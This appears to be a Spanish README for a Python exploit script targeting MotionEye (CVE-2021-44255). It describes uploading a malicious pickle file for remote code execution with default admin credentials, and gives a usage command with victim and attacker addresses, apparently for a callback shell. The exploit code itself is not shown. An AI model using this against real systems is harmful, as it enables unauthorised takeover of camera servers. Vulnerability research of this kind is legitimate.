
Un script de Python 3 que sube un archivo tasks.pickle que permite RCE en MotionEye. CVE-2021-44255
Un script de Python 3 que sube un archivo tasks.pickle que permite RCE en MotionEye. Necesitas credenciales de administrador, así que no debería ser un gran problema. Desafortunadamente, MotionEye/MotionEyeOS se puede encontrar frecuentemente ejecutándose con credenciales predeterminadas.
Ejemplo:
main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444
Donde victim y attacker tienen la forma ip:puerto, a menos que sea el puerto 80. En ese caso, el puerto puede omitirse. Esto utiliza el nombre de usuario predeterminado admin con una contraseña en blanco. También hay opciones de CLI para nombres de usuario/contraseñas alternativos. Consulta el código para más detalles.
CVE-2021-44255
Consulta https://www.pizzapower.me/2021/10/09/self-hosted-security-part-1-motioneye para un análisis de este y otros problemas.